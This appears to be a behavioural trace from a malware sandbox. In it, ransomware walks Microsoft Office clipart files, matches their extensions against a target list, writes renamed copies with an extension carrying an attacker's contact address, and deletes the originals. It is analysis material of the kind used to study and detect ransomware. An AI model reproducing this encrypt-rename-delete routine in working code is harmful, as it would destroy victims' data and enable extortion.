	[0081.941] lstrlenW (lpString=".rar") returned 4
	[0081.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.941] lstrlenW (lpString=".bz2") returned 4
	[0081.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.942] lstrlenW (lpString=".7z") returned 3
	[0081.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.942] lstrlenW (lpString=".dbf") returned 4
	[0081.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.942] lstrlenW (lpString=".1cd") returned 4
	[0081.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.942] lstrlenW (lpString=".jpg") returned 4
	[0081.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.942] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0081.942] lstrlenW (lpString="AN00914_.WMF") returned 12
	[0081.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.942] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10832) returned 1
	[0081.942] CloseHandle (hObject=0x358) returned 1
	[0081.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220
	[0081.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.943] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.943] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.943] GetLastError () returned 0x0
	[0081.943] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2a50, lpOverlapped=0x0) returned 1
	[0081.945] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0081.946] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.946] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.946] SetEndOfFile (hFile=0x320) returned 1
	[0081.946] CloseHandle (hObject=0x320) returned 1
	[0081.947] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.947] SetEndOfFile (hFile=0x358) returned 1
	[0081.948] CloseHandle (hObject=0x358) returned 1
	[0081.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1
	[0081.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.949] lstrlenW (lpString=".doc") returned 4
	[0081.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.949] lstrlenW (lpString=".docx") returned 5
	[0081.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.949] lstrlenW (lpString=".pdf") returned 4
	[0081.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.949] lstrlenW (lpString=".xls") returned 4
	[0081.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.949] lstrlenW (lpString=".xlsx") returned 5
	[0081.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.949] lstrlenW (lpString=".ppt") returned 4
	[0081.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.949] lstrlenW (lpString=".zip") returned 4
	[0081.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.949] lstrlenW (lpString=".rar") returned 4
	[0081.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.949] lstrlenW (lpString=".bz2") returned 4
	[0081.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.949] lstrlenW (lpString=".7z") returned 3
	[0081.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.949] lstrlenW (lpString=".dbf") returned 4
	[0081.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.949] lstrlenW (lpString=".1cd") returned 4
	[0081.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.950] lstrlenW (lpString=".jpg") returned 4
	[0081.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.950] lstrlenW (lpString=".doc") returned 4
	[0081.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString=".docx") returned 5
	[0081.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.950] lstrlenW (lpString=".pdf") returned 4
	[0081.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString=".xls") returned 4
	[0081.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.950] lstrlenW (lpString=".xlsx") returned 5
	[0081.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.950] lstrlenW (lpString=".ppt") returned 4
	[0081.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.950] lstrlenW (lpString=".zip") returned 4
	[0081.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.950] lstrlenW (lpString=".rar") returned 4
	[0081.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString=".bz2") returned 4
	[0081.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString=".7z") returned 3
	[0081.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.950] lstrlenW (lpString=".dbf") returned 4
	[0081.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.950] lstrlenW (lpString=".1cd") returned 4
	[0081.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0081.951] lstrlenW (lpString=".jpg") returned 4
	[0081.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.951] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0081.951] lstrlenW (lpString="AN00932_.WMF") returned 12
	[0081.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.638] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14428) returned 1
	[0082.638] CloseHandle (hObject=0x394) returned 1
	[0082.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220
	[0082.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.638] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.639] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.639] GetLastError () returned 0x0
	[0082.639] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x385c, lpOverlapped=0x0) returned 1
	[0082.641] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3860, lpOverlapped=0x0) returned 1
	[0082.642] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.642] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.642] SetEndOfFile (hFile=0x364) returned 1
	[0082.642] CloseHandle (hObject=0x364) returned 1
	[0082.643] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.643] SetEndOfFile (hFile=0x394) returned 1
	[0082.644] CloseHandle (hObject=0x394) returned 1
	[0082.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1
	[0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.645] lstrlenW (lpString=".doc") returned 4
	[0082.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.645] lstrlenW (lpString=".docx") returned 5
	[0082.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.645] lstrlenW (lpString=".pdf") returned 4
	[0082.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.645] lstrlenW (lpString=".xls") returned 4
	[0082.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.645] lstrlenW (lpString=".xlsx") returned 5
	[0082.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.645] lstrlenW (lpString=".ppt") returned 4
	[0082.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.645] lstrlenW (lpString=".zip") returned 4
	[0082.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.645] lstrlenW (lpString=".rar") returned 4
	[0082.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.645] lstrlenW (lpString=".bz2") returned 4
	[0082.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString=".7z") returned 3
	[0082.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.646] lstrlenW (lpString=".dbf") returned 4
	[0082.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.646] lstrlenW (lpString=".1cd") returned 4
	[0082.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.646] lstrlenW (lpString=".jpg") returned 4
	[0082.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.646] lstrlenW (lpString=".doc") returned 4
	[0082.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString=".docx") returned 5
	[0082.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.646] lstrlenW (lpString=".pdf") returned 4
	[0082.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString=".xls") returned 4
	[0082.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.646] lstrlenW (lpString=".xlsx") returned 5
	[0082.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.646] lstrlenW (lpString=".ppt") returned 4
	[0082.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.646] lstrlenW (lpString=".zip") returned 4
	[0082.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.646] lstrlenW (lpString=".rar") returned 4
	[0082.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString=".bz2") returned 4
	[0082.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.646] lstrlenW (lpString=".7z") returned 3
	[0082.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".dbf") returned 4
	[0082.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".1cd") returned 4
	[0082.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0082.647] lstrlenW (lpString=".jpg") returned 4
	[0082.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.647] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.647] lstrlenW (lpString="AN01044_.WMF") returned 12
	[0082.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.648] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1596) returned 1
	[0082.648] CloseHandle (hObject=0x394) returned 1
	[0082.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220
	[0082.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.648] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.648] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.649] GetLastError () returned 0x0
	[0082.649] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x63c, lpOverlapped=0x0) returned 1
	[0082.650] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x640, lpOverlapped=0x0) returned 1
	[0082.651] ReadFile (in: hFile=0x394, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.651] WriteFile (in: hFile=0x364, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.651] SetEndOfFile (hFile=0x364) returned 1
	[0082.652] CloseHandle (hObject=0x364) returned 1
	[0082.657] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.657] SetEndOfFile (hFile=0x394) returned 1
	[0082.658] CloseHandle (hObject=0x394) returned 1
	[0082.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1
	[0082.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.658] lstrlenW (lpString=".doc") returned 4
	[0082.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.658] lstrlenW (lpString=".docx") returned 5
	[0082.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.659] lstrlenW (lpString=".pdf") returned 4
	[0082.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString=".xls") returned 4
	[0082.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.659] lstrlenW (lpString=".xlsx") returned 5
	[0082.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.659] lstrlenW (lpString=".ppt") returned 4
	[0082.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.659] lstrlenW (lpString=".zip") returned 4
	[0082.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.659] lstrlenW (lpString=".rar") returned 4
	[0082.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString=".bz2") returned 4
	[0082.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString=".7z") returned 3
	[0082.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.659] lstrlenW (lpString=".dbf") returned 4
	[0082.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.659] lstrlenW (lpString=".1cd") returned 4
	[0082.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.659] lstrlenW (lpString=".jpg") returned 4
	[0082.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.659] lstrlenW (lpString=".doc") returned 4
	[0082.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.659] lstrlenW (lpString=".docx") returned 5
	[0082.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.659] lstrlenW (lpString=".pdf") returned 4
	[0082.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.660] lstrlenW (lpString=".xls") returned 4
	[0082.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.660] lstrlenW (lpString=".xlsx") returned 5
	[0082.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.660] lstrlenW (lpString=".ppt") returned 4
	[0082.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0082.660] lstrlenW (lpString=".zip") returned 4
